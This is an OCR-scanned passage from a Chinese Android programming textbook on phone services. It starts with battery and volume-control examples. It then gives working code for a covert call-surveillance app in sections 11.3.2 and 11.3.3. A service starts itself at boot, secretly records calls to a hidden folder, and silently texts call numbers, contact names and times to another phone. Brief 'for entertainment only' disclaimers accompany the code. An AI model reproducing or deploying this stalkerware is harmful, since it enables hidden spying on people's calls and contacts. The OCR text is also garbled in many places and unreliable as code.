super.setContentView(R.layout.main); // 布 局 管理 器 
this.but = (Button) super.findViewByld(R.id.but); // 取 得 组 件 
this.but.setOnClickListener(new OnClickListenerlmpl() ; /定义 单 击 事件 
} 
private class OnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View v) { 
BatterylnfoBroadcastReceiver receiver = null ; /定义 广播 对 象 
receiver = new BatterylnfoBroadcastReceiver(); 1/ 实例 化 广播 
IntentFilter filter = new IntentFilter( 
IntentACTION_BATTERY_CHANGED); /定义 Intent 过 滤 
BatteryDemo.this.registerReceiver(receiver, filter); /注册 广播 
} 
} 


} 


本 程序 的 主要 任务 是 在 按钮 的 单 击 事件 中 设置 一 个 广播 对 象 ， 并 且 设 置 IntentFilter 作为 
Intent 的 执行 过 滤 ， 当 注册 广播 之 后 ,会 在 广播 处 理 类 (BatteryInfoBroadcastReceiver) 弹出 显示 


电池 电量 对 话 框 。 本 程序 的 运行 效果 如 图 11-1 所 示 。 


ss 中 
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Wl 5554:Android_2.3 局 


电池 电量 


电池 电量 为 : 50% 


关闭 


图 11-1 取得 电池 电量 信息 
11.2 声音 服务 : AudioManager 


在 一 些 音乐 播放 软件 中 , 通常 会 为 用 户 提供 可 以 更 改 播放 声音 (增加 或 减 小 音量 ) 的 操作 功能 ， 
在 Android 系统 中 ,为 了 满足 用 户 操作 声音 功能 的 需要 ,专门 提供 了 一 个 声音 管理 类 一 一 android .media. 
AudioManager， 通 过 此 类 ， 可 以 实现 手机 音量 的 大 小 控制 ， 或 者 进行 静音 、 震 动 模式 的 切换 ， 
而 此 类 中 所 提供 的 常量 及 常用 方法 如 表 11-2 所 示 。 


表 11-2 AudioManager 类 提供 的 常量 及 常用 方法 
No. 常量 及 方法 类 型 描述 
1 | public static final intRINGER_MODE_NORMAL 1 响 铃 模式 
2 public static final int RINGER MODE SILENT 静音 模式 
3 public static final int RINGER MODE VIBRATE 常量 
4 public static final int STREAM ALARM 常 
5 public static final int STREAM MUSIC 播放 音乐 
6 public static final int STREAM _ NOTIFICATION 播放 提示 
7__ | public static final int STREAM RING 电话 铃 音 
8 public static final int STREAM VOICE CALL 电话 呼叫 
9 public static final int VIBRATE SETTING ON 打开 震动 
10 | public static final int VIBRATE TYPE NOTIFICATION 常量 通知 震动 
11 | public static final int VIBRATE TYPE RINGER. 电话 响 铃 震 动 
12 | public static final int ADJUST LOWER 电话 音量 调 小 一 格 
13 | public static final int ADJUST RAISE 电话 音量 调 大 一 格 


public int abandonAudioFocus(AudioManager. 
OnAudioFocusChangeListener 1) 
15 | public String getParameters(String keys) 普通 返回 配置 的 指定 参数 内 容 


下 
kt 


普通 放弃 声音 的 焦点 并 设置 监听 
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续 表 
No. 常量 及 方法 描述 
16 ublic int getRingerMode 取得 响 铃 模式 
17 ublic void setParameters(String keyValuePairs 设置 响 铃 参 数 
18 | public void setRingerMode(int ringerMode) 设置 响 铃 模 式 
19 | public void adjustVolume(int direction, int flags) 调节 音量 
ee i 返回 指定 数据 流 的 当前 音 
20 | public int getStreamVolume(int streamType) 量 值 
i bw void setStreamVolume(int streamType, int index, 设置 音频 数据 流 
int flags) 
如 果 想 取得 AudioManager 类 的 对 象 ， 则 必须 通过 getSystemService() 方 法 找到 Context.AUDIO_ 


SERVICE 服务 。 下 面 通过 AudioManager 完成 一 个 音量 控制 的 程序 。 在 本 程序 中 ， 为 了 便于 读 


者 理解 知识 点 ， 主 要 完成 以 下 两 个 功能 。 


回 
回 


手机 音量 调整 : 音量 的 增加 或 减少 。 


【 例 11-4】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout 
xmlins:android="http:/schemas.android.com/apKk/res/android" 


android:orientation="horizonta/” 
android:layout_width="fill_parent”" 
android:layout_height="fill_parent"> 
<ImageButton 
android:id="@+id/Voiceon” 
android:layout_width="wrap_content" 
android:layout_height="wrap_content” 
android:src="@drawable/Voice_on" /> 
<ImageButton 
android:id="@+id/Voiceoff” 
android:layout_width="wrap_content" 
android:layout_height= "wrap_content” 
android:src="@drawable/Voice_off" /> 
<ImageButton 
android:id="@+id/Voicevibrate" 
android:layout_width="wrap_content" 
android:layout_height="wrap_content” 


android:src="@drawable/voice_vibrate" /> 


<ImageButton 
android:id="@+id/Voicelower” 
android:layout_width="wrap_content”" 
android:layout_height="wrap_content” 
android:src="@drawable/voice_lower" /> 
<ImageButton 
android:id="@+id/Voiceraise” 
android:layout_width="wrap_content”" 
android:layout_height="wrap_content” 


手机 响 铃 模式 的 改变 ， 将 手机 铃声 设置 为 静音 、 震 动 、 正 常 。 


// 线 性 布局 管理 器 


/所 有 组 件 水 平 摆 放 
// 布 局 管理 器 宽度 为 屏幕 宽度 
// 布 局 管理 器 高 度 为 屏幕 高 度 
/图 片 按钮 

// 组 件 ID， 程 序 中 使 用 
// 组 件 宽度 为 图 片 宽度 
// 组 件 高 度 为 图 片 高 度 
// 上 默认 显示 图 片 

// 图 片 按钮 

// 组 件 ID， 程 序 中 使 用 
// 组 件 宽度 为 图 片 宽 度 
// 组 件 高 度 为 图 片 高 度 
// 默 认 显 示 图 片 
/图片 按钮 

// 组 件 ID， 程 序 中 使 用 
// 组 件 宽度 为 图 片 宽度 
// 组 件 高 度 为 图 片 高 度 
/| 默认 显示 图 片 

// 图 片 按钮 

// 组 件 ID， 程 序 中 使 用 
// 组 件 宽度 为 图 片 宽度 
// 组 件 高 度 为 图 片 高 度 
// 默 认 显示 图 片 

// 图 片 按钮 

// 组 件 ID， 程 序 中 使 用 
// 组 件 宽度 为 图 片 宽度 
// 组 件 高 度 为 图 片 高 度 
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android:src="@drawable/Voice_raise”" /> /默认 显示 图 片 
</LinearLayout> 
本 程序 为 了 操作 方便 ， 一 共 定义 了 5 个 操作 按钮 ， 分 别 用 于 进行 音量 调节 以 及 手机 响 铃 模 
式 的 调整 。 
【 例 11-5】 定义 Activity 程序 ， 操 作 声 音 
package org.Ixh.demo; 
import android.app.Activity; 
import android.content.Context; 
import android.media.AudioManager; 
import android.media.MediaPlayer; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener 
import android.widget.ImageButton; 
import android.widget. Toast; 
public class MyAudioManagerDemo extends Activity { 


private ImageButton voiceOn = null; // 打 开 声 音 
private ImageButton voiceOff = null; // 静 音 按钮 
private ImageButton voiceVibrate = null; // 震 动 按钮 
private ImageButton voiceLower = null; /降低 音量 
private ImageButton voiceRaise = null; // 调 高 音 
private AudioManager audio = null; // 音 量 管理 
@Override 


public void onCreate(Bundle savedInstanceState) { 

Super.onCreate(savedlnstanceState); 
super.setContentView(R.layout.main); /| 默认 布局 管理 器 
this.voiceOn = (ImageButton) super.findViewByld(R.id.voiceon);  // 取 得 组 件 
this.voiceOff = (ImageButton) super.findViewByld(R.id.voiceof; /取得 组 件 
this.voiceVibrate = (ImageButton) super.findViewByld(R.id.voicevibrate); 
this.voiceLower = (ImageButton) super.findViewByld(R.id.voicelower); /取得 组 件 
this.voiceRaise = (ImageButton) super.findViewByld(R.id.voiceraise); ”// 取 得 组 件 
this.audio = (AudioManager) super 

.getSystemService(Context.AUDIO_SERVICE); // 取 得 服务 
this.voiceOn.setOnClickListener(new VoiceOnOnClickListenerImpl()); 。 // 设 置 监听 
this.voiceOff.setOnClickListener(new VoiceOffOnClickListenerImpl()); ”// 设 置 监听 
this.voiceVibrate 

.setOnClickListener(new VoiceVibrateOnClickListenerlImpl());”，// 设 置 监听 
this.voiceLower.setOnClickListener(new VoiceLowerOnClickListenerlImpl(); /监听 
this.voiceRaise.setOnClickListener(new VoiceRaiseOnClickListenerImpl()); /监听 


this.playAudio(); 

} 

private void playAudio() { /播放 音乐 
MediaPlayer media = MediaPlayer.create(this, R.raw.mldn_java); 1/ 指定 资源 
media.setLooping(true); // 循 环 播放 
try{ 

media.prepare(); // 预 备 状 态 

} catch (Exception e){ 
} 
media.start(); // 播 放 文件 
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a 
private class VoiceOnOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
MyAudioManagerDemo.this.audio 
.setRingerMode(AudioManager.RINGER_MODE _ NORMAL); /正常 
Toast.makeText(MyAudioManagerDemo.this, "手机 音量 开启 ! "， 
ToastLENGTH_SHORT).show(); // 提 示 信 息 
1 
private class VoiceOffOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
MyAudioManagerDemo.this.audio 
.setRingerMode(AudioManager.RINGER_MODE_SILEN7T);// 手 机 静音 
Toast.makeText(MyAudioManagerDemo.this, "手机 静音 ! " Toast.LENGTH_SHORT7) 
.show(); // 提 示 信 息 
} 
} 
private class VoiceVibrateOnClickListenerlImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
MyAudioManagerDemo.this.audio 
.SetRingerMode(AudioManager.RINGER_MODE_VIBRATE); /震动 
Toast.makeText(MyAudioManagerDemo.this, "手机 为 震动 模式 ! ",， 
Toast.LENGTH_SHORT).show(); // 提 示 信 息 
} 
} 
private class VoiceLowerOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
MyAudioManagerDemo.this.audio.adjustVolume( 
AudioManager.ADJUST_LOWER, 0); // 降 低音 量 
Toast.makeText(MyAudioManagerDemo.this, "音量 调 小 ! ", Toast.LENGTH_SHOR7) 
.show(); // 提 示 信 息 
} 
} 
private class VoiceRaiseOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
MyAudioManagerDemo.this.audio.adjustVolume( 
AudioManager.ADJUST_RAISE, 0); // 提 高 音量 
Toast.makeText(MyAudioManagerDemo.this, "音量 增加 ! " Toast.LENGTH_SHORT7) 
.show(); // 提 示 信 息 
} 
Uy 


本 程序 为 了 验证 改变 声音 大 小 的 操作 ， 在 程序 运行 后 使 用 MediaPlayer 重复 播放 MP3 文件 ， 
而 后 分 别 在 不 同 的 ImageButton 按钮 上 绑 定 不 同 的 声音 处 理 操作 。 程序 运行 的 界面 如 图 11-2 所 示 。 
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图 11-2 增加 音量 


11.3 电话 服务 


11.3.1 对 电话 进行 监听 


在 Android 系统 中 , 接听 和 拨打 电话 也 是 一 项 服务 , 这 就 意味 着 用 户 可 以 按照 自己 的 方式 进 
行 电话 的 若干 操作 ， 如 果 要 想 取得 电话 服务 ， 则 直接 使 用 getSystemService() 方 法 取得 Context. 
TELEPHONY SERVICE 服务 ， 而 取得 的 服务 对 象 类 型 为 android.telephony.TelephonyManager， 
此 类 的 常用 属性 及 操作 方法 如 表 11-3 所 示 。 

表 11-3 TelephonyManager 类 的 常用 属性 及 操作 方法 


方 法 类 型 描 述 
l 。 电话 没有 任何 拨 出 或 打 入 操作 时 
public static final int CALL STATE IDLE 币 量 多 
的 状态 码 
。 人 当 电 话 接 通 时 〈 接 电话 或 拨 出 电 
public static final int CALL STATE OFFHOOK 前 星 话 ) 的 状态 码 
常量 。 | 当 有 电话 进入 时 的 状态 码 
ublic int getCallState0 普通 取得 呼叫 状态 
public String getLinelNumberO 普通 取得 电话 号 码 
public int getPhoneType0) 普通 取得 电话 的 连接 网 络 类 型 
public String getSimSerialNumber0 普通 取得 SIM 卡 的 序号 
public void listen(PhoneStateListener listener, int 普通 设置 和 手机 状态 监听 
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在 表 11-3 所 列 的 方法 中 , 最 重要 的 就 是 listen(0) 方 法 ,通过 此 方法 可 以 绑 定 一 个 PhoneStateListener 
类 的 对 象 ， 以 完成 对 电话 各 个 状态 的 监听 ， 而 在 此 类 中 ， 主 要 是 通过 onCallStateChanged() 方 法 
进行 来 、 去 电 的 监听 处 理 ， 该 方法 的 定义 如 下 : 

public void onCallStateChanged(int state, String incomingNumber)f 

在 onCallStateChanged() 方 法 中 定义 了 两 个 变量 ， 其 作用 如 下 。 

state: 判断 电话 的 操作 状态 ， 返 回 的 内 容 是 表 11-3 所 示 的 3 个 常量 。 

incomingNumber: 拨 入 的 电话 号 码 。 


人 s 坟 在 
onCallStateChanged() 方 法 中 的 incomingNumber 只 能 传递 拔 入 的 电话 号 码 。 
定义 PhoneStateListener 子 类 对 和 象 时 ，onCallStateChanged() 方 法 只 能 取得 来 电 的 号 码 ， 而 
对 于 去 电 号 码 的 取得 ， 只 能 依靠 触发 此 操作 的 ACTION 决定 ， 即 只 能 通过 Activity 或 
BroadcastReceiver 中 的 Intent， 并 使 用 getStringExtra(IntentEXTRA PHONE NUMBER) 取 得 ， 
而 后 再 传递 到 PhoneStateListener 子 类 中 。 


了 解 了 TelephonyManager 类 的 基本 作用 后 ， 下 面 动 手 开发 一 个 基本 的 电话 监听 功能 ， 当 用 
户 拨打 电话 或 有 电话 打 入 时 ， 会 直接 在 后 台 打印 所 联系 的 电话 号 码 及 操作 时 间 〈 既 然 要 实现 电 
话 的 监听 ， 则 本 程序 肯定 要 作为 一 个 服务 出 现 ， 而 服务 肯定 是 在 后 台 运 行 的 ) 。 
【 例 11-6】 定义 电话 监听 服务 一 一 PhoneService 
package org.Ixh.demo; 
import java.text.SimpleDateFormat; 
import java.util.Date; 
import android.app.Service; 
import android.content.Context; 
import android.content. Intent; 
import android.os.lBinder; 
import android.telephony.PhoneStateListener; 
import android.telephony. TelephonyManager; 
public class PhoneService extends Service { 


private TelephonyManager telephony = null; // 电 话 管理 器 
private String outgoingNumber = null; /保留 去 电 号 码 
@Override 


public void onCreate() { 
this telephony = (TelephonyManager) super 
.getSystemService(Context.TELEPHONY_SERVICE); /取得 服务 
this telephony.listen(new PhoneStateListenerImpl(), 


PhoneStateListener.LISTEN_CALL_STATE); // 设 置 电话 监 
super.onCreate(); 
} 
@Override 
public void onStart(Intent intent, int startld) { /启动 服务 
// 只 有 通过 onStart() 方 法 才 可 以 取得 通过 Intent 传递 过 来 的 数据 ， 而 去 电 号 码 将 通过 此 方 
式 传递 
this.outgoingNumber = intent.getStringExtra("outgoingNumber"); 。 // 取 得 去 电 号 码 
super.onStart(intent, startld); 
} 
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@Override 
public IBinder onBind(Intent intent) { 
return null; 
} 
private class PhoneStateListenerImpl extends PhoneStateListener { /电话 监听 
@Override 
public void onCallStateChanged(int state, String incomingNumber) { /呼叫 状态 
switch (state) { 1/ 判断 状态 
case TelephonyManager.CALL_STATE _ IDLE: // 没 有 拨 入 或 拷 出 电话 状态 
break; 
case TelephonyManager.CALL_STATE_RINGING: // 有 电话 进入 
System.outprintln(" 拨 入 电话 号 码 : " 
+incomingNumber 
+ "， 拨 入 时 间 : "” 
+ new SimpleDateFormat("yyyy-MM-dd HH:mm:ss") 
format(new Date())); /后 台 输 出 
break; 
case TelephonyManager.CALL_STATE_OFFHOOK: /使 用 电话 
System.out println(" 拨 出 电话 号 码 : " 
+ PhoneService.this.outgoingNumber 
+ "， 拨 出 时 间 : "” 
+ new SimpleDateFormat("yyyy-MM-dd HH:mm:ss") 
.format(new Date())); /后 台 输 出 
break.; 
j 
} 
} 


} 
因为 本 程序 要 作为 后 台 的 服务 出 现 ,所 以 直接 继承 了 Service 类 ,而 后 利用 TelephonyManager 
进行 电话 监听 的 绑 定 ， 并 且 将 来 电 和 去 电 的 信息 在 后 台 进 行 打印 ， 但 是 一 个 Service 程序 肯定 需 
要 通过 Activity 或 BroadcastReceiver 才 可 以 启动 ,而 这 种 电话 服务 也 应 该 在 手机 启动 时 自动 运行 ， 
所 以 本 次 采用 BroadcastReceiver 机 制 进行 服务 的 启动 。 
【 例 11-7】 定义 电话 服务 的 广播 接收 器 一 一 PhoneBroadcastReceiver 
package org.Ixh.demo; 
import android.content.BroadcastReceiver; 
import android.content.Context; 
import android.content.Intent'; 
public class PhoneBroadcastReceiver extends BroadcastReceiver { /广播 处 理 
@Override 
public void onReceive(Context context, Intent intent) { 
if (intent.getAction().equals( 


Intent.ACTION_NEW_OUTGOING_CALL)) { // 去 电 操 作 
String outgoingNumber = intent 
.getStringExtra(Intent.EXTRA_PHONE_NUMBER); // 取 得 去 电 号 码 
Intent pit = new Intent(context, PhoneService.class); /定义 Intent 
pit.putExtra("outgoingNumber", outgoingNumber); // 保 存 去 电 号 码 
context.startService(pit); /启动 Service 
}else{ /来电 


context.startService(new Intent( 
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context, PhoneService.class)); /启动 Service 


} 
} 


} 

在 广播 处 理 程序 中 ， 首 先 要 判断 电话 的 操作 类 型 ， 如 果 是 打 入 电话 ， 直 接 通 过 Service 进行 
输出 : 而 如 果 是 拨 出 电话 ， 则 必须 首先 通过 Intent. EXTRA PHONE_ NUMBER 取得 拨 出 的 电话 
号 码 ， 之 后 才能 启动 Service。 

【 例 11-8】 配置 AndroidManifest.xml 权限 
<?xml version="1.0" encoding="utf-8"?> 
<manifest xmIns:android="http://schemas.android.com/apK/res/android" 


package="org./xh.demo” // 程 序 的 包 名 称 
android:versionCode="1" // 程 序 的 版 本 编号 
android:versionName="1.0"> // 程 序 的 版 本 名 称 
<uses-sdk android:minSdkVersion="10" /> // 最 低 运行 的 版 本 
<application // 配 置 应 用 程序 
android:icon="@drawable/icon" android:label="@string/app_name”> 
<receiver // 定 义 广播 接收 者 
android:name=".PhoneBroadcastReceiver"> 
<intent-filter> // 配 置 Intent 过 滤 
<action // 操 作 电 话 状 态 Action 
android:name="android.intent.action.PHONE_STATE"/> 
<action // 随 系统 一 起 启动 
android:name="android.intent.action.BOOT_COMPLETED" /> 
<action // 拨 出 电话 


android:name="android.intent.action.NEW_OUTGOING_CALL"/> 
</intent-filter> 


</receiver> 
<service android:name=".PhoneService”" /> // 配 置 服务 
</application> 
<uses-permission // 定 义 读 取 电 话 状 态 的 权限 
android:name="android.permission.READ_PHONE_STATE"/> 
<uses-permission // 定 义 处 理 拨 出 电话 的 权限 
android:name="android.permission.PROCESS_OUTGOING_CALLS"/> 
</manifest> 


由 于 本 程序 不 再 需要 Activity 程序 的 支持 ， 所 以 只 在 AndroidManifest.xml 文件 中 定义 了 
<receiver> 和 <service> 两 个 节点 ， 而 且 广播 接收 器 会 随 着 手机 的 启动 而 默认 启动 。 


11.3.2 ”发 现 你 的 私人 秘密 电话 窃听 器 


掌握 了 电话 监听 的 原理 之 后 , 下面 就 可 以 利用 TelephonyManager 和 PhoneStateListener 一 起 
完成 一 个 更 有 意思 的 小 功能 ， 即 直接 对 用 户 的 来 、 去 电 进行 监听 ， 也 就 是 所 谓 的 电话 监视 程序 。 


意 
本 程序 建议 只 作为 娱乐 。 
本 程序 将 采用 录音 的 方式 ， 对 用 户 拨打 或 接听 的 电话 进行 录音 监听 ， 但 是 这 种 做 法 有 损 
于 社会 公德 ， 本 书 讲解 此 程序 只 是 为 了 帮助 读者 理解 之 前 的 基本 概念 ， 请 不 要 将 此 程序 用 于 
违法 行为 。 


S65 


名 师 讲坛 一 一 Android 开发 实战 经 典 


时 自 
务 器 


sdcard 的 theifaudio 文件 夹 中 。 本 程序 在 11.3.1 节 程 


动 使 
， 由 于 网 络 连接 的 操 人 


PhoneBroadcastReceiver 广播 接收 类 。 
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【 例 11-9】 定义 完成 录音 操作 的 工具 类 一 一 RecordAudioUtil 
package org.Ixh.demo; 
import java.io.File; 
import java.text.SimpleDateFormat; 
import java.util.Date; 
import android.media.MediaRecorder 
import android.os.Environment; 
public class RecordAudioUtil { 
private MediaRecorder mediaRecorder = null; 
private String recDir = "theifaudio ; 
private File recordAudioSaveFileDir = null; 
private boolean sdcardExists = false; 
private boolean isRecord = false ; 
private String phoneNumber = null ; 
private String callType = null ; 
public RecordAudioUtil(String phoneNumber, String callType) { 
this.phoneNumber = phoneNumber ; 
this.callType = callType ; 


电话 窃听 器 主要 指 在 用 户 接 通 电话 ( 即 电话 状态 为 TelephonyManager.CALL STATE OFFHOOK) 
MediaRecorder 进行 录音 的 一 种 操作 , 而 后 会 将 此 录音 保存 到 手机 上 或 发 送 到 网 络 
FE 在 第 12 章 中 才 会 讲解 ， 所 以 本 次 操作 将 所 有 窃听 到 的 录音 保存 在 
序 的 基础 上 进行 修改 ， 将 继续 使 


民 


/录音 工具 类 

1/ 媒体 录制 

// 保 存 目 录 

// 文 件 保存 目录 

// 判 断 SD 卡 是 否 存 在 
// 录 音 状态 

// 保 存 电话 号 码 
/保存 拨 出 或 拨 入 的 类 型 
/构造 方 法 

/电话 号 码 

/保存 类 型 


if (this.sdcardExists = Environment.getExternalStorage State().equals( 


Environment.MEDIA_MOUNTED)) { 


// 判 断 SD 卡 是 否 存在 


this.recordAudioSaveFileDir = new File(Environment 


.getExternalStorageDirectory().toString() 
+ File.separator 
+ this.recDir + File.separaton); 
if (Ithis.recordAudioSaveFileDir.exists()) { 
this.recordAudioSaveFileDir.mkdirs(); 
} 
} 


} 

public File record() { 
File recordAudioSaveFile = null ; 
String recordAudioSaveFileName = null; 
if (this.sdcardExists) { 


/保存 录音 目录 
// 父 文件 夹 不 存在 
// 创 建新 的 文件 夹 


// 录 音 

/文件 保存 对 象 
/音频 文件 保存 名 称 
// 如 果 SD 卡 存在 


recordAudioSaveFileName = this.recordAudioSaveFileDirtoString() 


+ File.separator 
+ "ThiefAudio_" 


+ new SimpleDateFormat("yyyyMMddhhmmssSSS") 


.format(new Date()) + 
+ this.phoneNumber + ".3gp"; 
recordAudioSaveFile = new File( 
recordAudioSaveFileName); 
this.mediaRecorder = new MediaRecorder(); 
this.mediaRecorder 


+ this.callType + "_" 


// 文 件 保存 名 称 


// 取 得 保存 路 径 
/实例 化 
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-SetAudioSource( 
MediaRecorder.AudioSource.MIC);// 设 置 录 音源 为 手机 上 行 和 下 行 
this.mediaRecorder 
.setOutputFormat( 
MediaRecorder.OutputFormat.THREE_GPP); // 定 义 输出 格式 
this.mediaRecorder 
.SetAudioEncoder( 
MediaRecorder.AudioEncoder.DEFAULD); // 定 义 音频 编码 
this.mediaRecorder 


.setOutputFile(recordAudioSaveFileName); // 定 义 输出 文件 
try{ 

this.mediaRecorder.prepare(); /准备 录音 
} catch (Exception e){ 

e.printStackTrace(); 
} 
this.mediaRecorder.start(); // 开 始 录音 
this.isRecord = true; // 正 在 录音 


return recordAudioSaveFile ; 


} 
public void stop(){ /录音 完 旨 
if (this.isRecord) { // 正 在 录音 
this.mediaRecorder.stop(); /停止 录音 
this.mediaRecorder.release(); // 释 放 资 源 
) 
} 


} 

本 工具 类 的 主要 功能 是 针对 用 户 电话 进行 录音 操作 ， 用 户 在 实例 化 本 工具 类 时 只 需要 传递 
电话 号 码 以 及 呼叫 类 型 ( 拨 入 或 是 打出 )， 而 后 利用 record0 方 法 即 可 将 所 有 的 通话 录音 保存 在 
指定 的 目录 中 。 


了 提示 

本 程序 并 不 能 实现 通话 的 录制 。 

在 本 程序 中 ， 音 频 的 来 源 设 置 为 MIC ( MediaRecorder AudioSource.MIC ) ， 而 实际 上 在 
MediaRecorder.AudioSource 中 还 定义 了 3 个 常量 。 

回 public static final int VOICE CALL: 录制 上 行 和 下 行 通话 。 

回 public static final int VOICE _ DOWNLINK: 录制 下 行 通话 。 

回 public static final int VOICE UPLINK: 录制 上 行 通话 。 

按照 要 求 来 说 ， 如 果 将 音频 来 源 设置 为 VOICE CALL， 是 可 以 实现 通话 录制 的 ， 但 是 
本 书 所 使 用 的 Android 系统 中 该 功能 并 不 能 正常 完成 ,这 可 能 是 由 于 安全 性 的 需要 所 造成 的 。 


- 


【 例 11-10】 修改 通话 操作 的 服务 类 一 一 PhoneService 
package org.Ixh.demo; 
import android.app.Service; 
import android.content.Context; 
import android.content.Intent'; 
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import android.os.lBinder; 

import android.telephony.PhoneStateListener; 
import android.telephony.TelephonyManager; 
public class PhoneService extends Service { 


private TelephonyManager telephony = null; // 电 话 管理 器 
private RecordAudioUtil raUtil = null ; // 录 音 工具 类 
private String outgoingNumber = null; // 保 留 去 电 号 码 
@Override 


public void onCreate() { 
this.telephony = (TelephonyManager) super 
.getSystemService(Context. TELEPHONY_SERVICE); /取得 服务 
this.telephony.listen(new PhoneStateListenerImpl(), 


PhoneStateListener.LISTEN_CALL_STATE); // 设 置 电话 监 
super.onCreate(); 
lL 
@Override 
public void onStart(Intent intent, int startld) { /启动 服务 
/只 有 通过 onStart() 方 法 才 可 以 取得 通过 Intent 传递 过 来 的 数据 ， 而 去 电 号 码 将 通过 此 方 
式 传递 
this.outgoingNumber = intent.getStringExtra("outgoingNumber"); 。 // 取 得 去 电 号码 
super.onStart(intent, startld); 
} 
@Override 
public IBinder onBind(Intent intent) { 
return null; 
} 
private class PhoneStateListenerImpl extends PhoneStateListener { /电话 监听 
@Override 
public void onCallStateChanged(int state, String incomingNumber) { /呼叫 状态 
Switch (state){ /| 判断 状态 
case TelephonyManager.CALL_STATE /DLE: /没有 拨 入 或 拨 出 电话 状态 
if (PhoneService.this.raUtil != null) { // 已 经 开始 录音 
PhoneService.this.raUtil.stop(); // 结 束 录 音 
PhoneService.this.raUtil = null ; // 断 开 连 接 
} 
break.; 
case TelephonyManager.CALL_STATE_RINGING: // 有 电话 进入 
PhoneService.this.raUtil = new RecordAudioUtil(incomingNumber, 
" 拨 入 电话 "); // 实 例 化 对 象 
PhoneService.this.raUtil.record() ; /音频 录制 
break; 
case TelephonyManager.CALL_STATE_OFFHOOK: /使 用 电话 
PhoneService.this.raUtil = new RecordAudioUtil( 
PhoneService.this.outgoingNumber, " 拨 出 电话 ");// 实 例 化 对 象 
PhoneService.this.raUtil.record() ; // 音 频 录制 
break; 
} 
} 
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本 程序 主要 修改 了 onCallStateChanged() 方 法 的 操作 ,在 用 户 接听 以 及 呼出 电话 时 使 用 
RecordAudioUtil 类 完成 偷 录 的 功能 。 
【 例 11-11】 修改 AndroidManifest.xml 文件 ， 增 加 新 权限 
<Uses-permission android:name="android.permission.RECORD AUDIO" /> 
<Uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> 


配置 完成 之 后 ， 本 程序 将 自动 运行 在 手机 的 后 台 ， 并 且 当 有 来 电 时 ， 可 以 自动 记录 来 电 的 
类 型 、 电 话 号 码 、 时 间 以 及 通话 内 容 。 


11.3.3 监视 你 的 来 电 情 况 : 偷偷 发 短信 


清楚 了 手机 服务 的 基本 操作 之 后 ， 还 可 以 再 继续 扩充 一 些小 功能 ， 如 使 用 短信 服务 来 监听 
户 的 电话 情况 (例如 监听 操作 者 呼叫 或 拨 出 的 电话 号 码 、 日 期 时 间 等 信息 ) ， 这 样 的 功能 可 
以 通过 PhoneStateListener 与 SmsManager 联合 操作 完成 ， 而 本 程序 也 将 继续 修改 之 前 的 程序 ， 
并 且 继 续 使 用 PhoneBroadcastReceiver 广播 接收 器 。 


意 

本 程序 只 为 娱乐 ， 切 忌 从 事 违 法 用 途 。 

本 程序 与 窃听 程序 一 样 ， 都 只 是 以 技术 研究 为 目的 为 读者 进行 讲解 的 ， 无 论 采 用 何 种 形 
式 ， 窃 取 他 人 隐私 都 是 不 道德 的 行为 ， 希 望 读者 将 此 程序 用 于 正 途 。 


【 例 11-12】 建立 短信 发 送 的 工具 类 一 一 MessageSendUtil 
package org.Ixh.demo; 
import java.text.SimpleDateFormat; 
import java.util.Date; 
import android.app.Pendinglntent; 
import android.content.Context; 
import android.content. Intent; 
import android.database.Cursor; 
import android.provider.ContactsContract; 
import android.telephony.SmsManager; 


public class MessageSendUtil { /发 送 短信 
private Context context = null ; /保存 Context 
private Intent intent = null ; /保存 Intent 
public MessageSendUtil(Context context,Intent intent) { // 通 过 构造 方法 传递 


this.context = context ; 
this.intent = intent ; 
} 
px 
* 发 送 短信 操作 
* @param receiveNumber 短信 接收 电话 号 码 
* @param phoneNumber 保留 来 电 或 去 电 的 电话 号 码 
* @param type 电话 的 呼叫 类 型 
public void send(String receiveNumber, String phoneNumber, String type) { 
SmsManager smsManager = SmsManager.getDefault(); // 短 信 管理 类 
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Pendinglntent sentintent = Pendinglntent.getAcivity(this.context, 0， 

this.intent, Pendinglntent.FLAG_UPDATE_CURRENT); /取得 Pendinglntent 
String content = "电话 号 码 : " 

+ phoneNumber 

+ \n 类 型 : " 

+type 

+ "\n 姓名 : " 

+ this.getName(phoneNumber) 

+ "\n 操作 时 间 : " 

+ new SimpleDateFormat("yyyy-MM-dd HH:mm:ss.SSS") 


.format(new Date()); /| 短信 内 容 
smsManager.sendTextMessage(receiveNumber, null, content, 
sentlntent, null); // 发 送 文 字 信息 


} 
J 
* 根据 电话 号 码 查 找 本 机 电话 秒 是 否 有 此 联系 人 
* @param phoneNumber 要 查找 的 电话 号 码 
* @return 联系 人 的 姓名 ， 如 果 没有 则 返回 “未 知 ” 
yt 
private String getName(String phoneNumber) { 
String name = null ; 
String phoneSelection = ContactsContract.CommonDataKinds.Phone.NUMBER 
Ep 
String[] phoneSelectionArgs = { String.valueOf(phoneNumber) }; /查询 参数 
Cursor cursor = this.context.getContentResolver().query( 
ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, 
phoneSelection, phoneSelectionArgs, null); /查询 全 部 手机 号 码 
if (cursor.moveToFirst()) { // 移 动 到 第 一 条 
name = cursor.getString(cursor.getColumnlndex( 
ContactsContract.CommonDataKinds 


.Phone.DISPLAY_NAME)) ; // 查 询 联 系 人 姓名 
}else{ 
name = "未 知 " ; /设置 为 “未 知 ” 
et // 关 闭 查 询 
return name ; 
b 
} 
本 程序 主要 有 以 下 两 个 功能 。 


加 功能 一 (getName()) : 根据 指定 的 电话 号 码 ， 通 过 电话 本 取得 联系 人 的 姓名 。 
回 功能 二 (send0) : 根据 设置 的 电话 号 码 ， 将 来 、 去 电 的 信息 以 短信 的 形式 发 送 到 接收 
人 的 手机 上 。 
【 例 11-13】 修改 PhoneService 程序 
package org.Ixh.demo; 
import android.app.Service; 
import android.content.Context; 
import android.content.Intent'; 
import android.os.IBinder; 


第 11 章 手机 服务 


import android.telephony.PhoneStateListener; 
import android.telephony.TelephonyManager 
public class PhoneService extends Service { 


private TelephonyManager telephony = null: /电话 管理 器 
private String outgoingNumber = null; /保留 去 电 号 码 
private Intent intent = null ; /保存 Intent 
@Override 


public void onCreate() { 
